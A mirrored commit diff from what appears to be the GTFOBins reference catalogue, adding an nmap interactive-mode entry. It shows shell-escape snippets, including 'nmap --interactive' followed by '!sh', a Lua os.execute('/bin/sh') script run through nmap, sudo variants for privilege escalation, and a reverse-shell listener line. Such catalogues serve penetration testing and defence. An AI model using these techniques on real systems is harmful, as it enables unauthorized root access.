mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Add nmap interactive mode
This commit is contained in:
parent
e404981c2e
commit
809b60ef97
@ -6,6 +6,10 @@ functions:
|
|||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo 'os.execute("/bin/sh")' > $TF
|
echo 'os.execute("/bin/sh")' > $TF
|
||||||
nmap --script=$TF
|
nmap --script=$TF
|
||||||
|
- description: The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.
|
||||||
|
code: |
|
||||||
|
nmap --interactive
|
||||||
|
nmap> !sh
|
||||||
non-interactive-reverse-shell:
|
non-interactive-reverse-shell:
|
||||||
- description: Run ``nc -l -p 12345`` on the attacker box to receive the shell.
|
- description: Run ``nc -l -p 12345`` on the attacker box to receive the shell.
|
||||||
code: |
|
code: |
|
||||||
@ -82,6 +86,10 @@ functions:
|
|||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
echo 'os.execute("/bin/sh")' > $TF
|
echo 'os.execute("/bin/sh")' > $TF
|
||||||
sudo nmap --script=$TF
|
sudo nmap --script=$TF
|
||||||
|
- description: The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands.
|
||||||
|
code: |
|
||||||
|
sudo nmap --interactive
|
||||||
|
nmap> !sh
|
||||||
limited-suid:
|
limited-suid:
|
||||||
- description: Input echo is disabled.
|
- description: Input echo is disabled.
|
||||||
code: |
|
code: |
|
||||||
|
Loading…
Reference in New Issue
Block a user